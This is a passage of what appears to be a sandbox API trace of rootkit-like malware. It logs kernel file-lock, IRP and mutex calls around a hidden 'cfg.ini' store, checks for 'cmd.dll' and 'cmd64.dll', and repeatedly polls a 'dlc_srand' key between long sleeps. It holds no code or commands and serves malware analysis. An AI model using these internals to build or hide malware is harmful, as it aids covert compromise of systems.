_Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcdd60 [0120.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.274] KeLeaveCriticalRegion () [0120.274] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.274] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.274] KeEnterCriticalRegion () [0120.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.274] KeLeaveCriticalRegion () [0120.275] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.275] KeEnterCriticalRegion () [0120.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.275] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.275] IdePortDispatch () returned 0x103 [0120.275] KeWaitForMutexObject () returned 0x0 [0120.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.275] KeLeaveCriticalRegion () [0120.275] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.275] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.275] KeEnterCriticalRegion () [0120.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003427000 [0120.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.275] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.275] IdePortDispatch () returned 0x103 [0120.275] KeWaitForMutexObject () returned 0x0 [0120.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.275] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.275] IdePortDispatch () returned 0x103 [0120.276] KeWaitForMutexObject () returned 0x0 [0120.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.276] KeLeaveCriticalRegion () [0120.276] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.276] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.276] KeEnterCriticalRegion () [0120.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.276] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.276] KeLeaveCriticalRegion () [0120.276] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.276] KeEnterCriticalRegion () [0120.276] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.276] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.276] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbc740, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.276] KeLeaveCriticalRegion () [0120.276] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.277] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.277] KeEnterCriticalRegion () [0120.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.277] ExFreePoolWithTag (P=0xfffffa8003bcdd60, Tag=0x0) [0120.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.277] KeLeaveCriticalRegion () [0120.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.277] ReleaseMutex (hMutex=0xf0) returned 1 [0120.277] Sleep (dwMilliseconds=0x124f80) [0120.291] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.291] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.291] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.291] KeEnterCriticalRegion () [0120.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.292] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.292] IdePortDispatch () returned 0x103 [0120.292] KeWaitForMutexObject () returned 0x0 [0120.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.292] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.292] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.292] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.292] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.292] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.292] KeLeaveCriticalRegion () [0120.292] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.292] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.292] KeEnterCriticalRegion () [0120.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.292] KeLeaveCriticalRegion () [0120.292] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.292] KeEnterCriticalRegion () [0120.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.292] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.292] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.292] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.292] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.292] IdePortDispatch () returned 0x103 [0120.292] KeWaitForMutexObject () returned 0x0 [0120.292] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.292] KeLeaveCriticalRegion () [0120.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.293] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.293] KeEnterCriticalRegion () [0120.293] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800342c000 [0120.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.293] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.293] IdePortDispatch () returned 0x103 [0120.293] KeWaitForMutexObject () returned 0x0 [0120.293] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.293] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.293] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.293] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.293] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.293] IdePortDispatch () returned 0x103 [0120.293] KeWaitForMutexObject () returned 0x0 [0120.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.293] KeLeaveCriticalRegion () [0120.293] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.294] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.294] KeEnterCriticalRegion () [0120.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] KeLeaveCriticalRegion () [0120.294] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.294] KeEnterCriticalRegion () [0120.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.294] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc9a00, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] KeLeaveCriticalRegion () [0120.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.294] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.294] KeEnterCriticalRegion () [0120.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] ExFreePoolWithTag (P=0xfffffa8003bbcf00, Tag=0x0) [0120.294] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] KeLeaveCriticalRegion () [0120.294] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.294] ReleaseMutex (hMutex=0xf0) returned 1 [0120.294] Sleep (dwMilliseconds=0x124f80) [0120.309] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.309] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.309] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.309] KeEnterCriticalRegion () [0120.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.309] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.309] IdePortDispatch () returned 0x103 [0120.309] KeWaitForMutexObject () returned 0x0 [0120.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc20a0 [0120.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.309] KeLeaveCriticalRegion () [0120.309] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.309] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.309] KeEnterCriticalRegion () [0120.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.309] KeLeaveCriticalRegion () [0120.310] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.310] KeEnterCriticalRegion () [0120.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.310] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.310] IdePortDispatch () returned 0x103 [0120.310] KeWaitForMutexObject () returned 0x0 [0120.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.310] KeLeaveCriticalRegion () [0120.310] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.310] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.310] KeEnterCriticalRegion () [0120.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.310] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003441000 [0120.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.310] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.310] IdePortDispatch () returned 0x103 [0120.310] KeWaitForMutexObject () returned 0x0 [0120.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.310] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0120.310] IdePortDispatch () returned 0x103 [0120.311] KeWaitForMutexObject () returned 0x0 [0120.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.311] KeLeaveCriticalRegion () [0120.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.311] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.311] KeEnterCriticalRegion () [0120.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.311] KeLeaveCriticalRegion () [0120.311] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.311] KeEnterCriticalRegion () [0120.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.311] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.311] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc22b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.311] KeLeaveCriticalRegion () [0120.311] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.311] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.312] KeEnterCriticalRegion () [0120.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.312] ExFreePoolWithTag (P=0xfffffa8003bc20a0, Tag=0x0) [0120.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.312] KeLeaveCriticalRegion () [0120.312] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.312] ReleaseMutex (hMutex=0xf0) returned 1 [0120.312] Sleep (dwMilliseconds=0x124f80) [0120.331] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.331] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.331] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.331] KeEnterCriticalRegion () [0120.331] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.331] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.331] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.331] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.331] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0120.331] IdePortDispatch () returned 0x103 [0120.331] KeWaitForMutexObject () returned 0x0 [0120.331] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.331] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.331] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.331] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.331] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.331] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcf00 [0120.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.332] KeLeaveCriticalRegion () [0120.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.332] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.332] KeEnterCriticalRegion () [0120.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.332] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.332] KeLeaveCriticalRegion () [0120.332] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.332] KeEnterCriticalRegion () [0120.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.332] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.332] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.332] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.332] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0120.332] IdePortDispatch () returned 0x103 [0120.332] KeWaitForMutexObject () returned 0x0 [0120.332] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.332] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.332] KeLeaveCriticalRegion () [0120.332] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.332] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.332] KeEnterCriticalRegion () [0120.332] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.332] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, 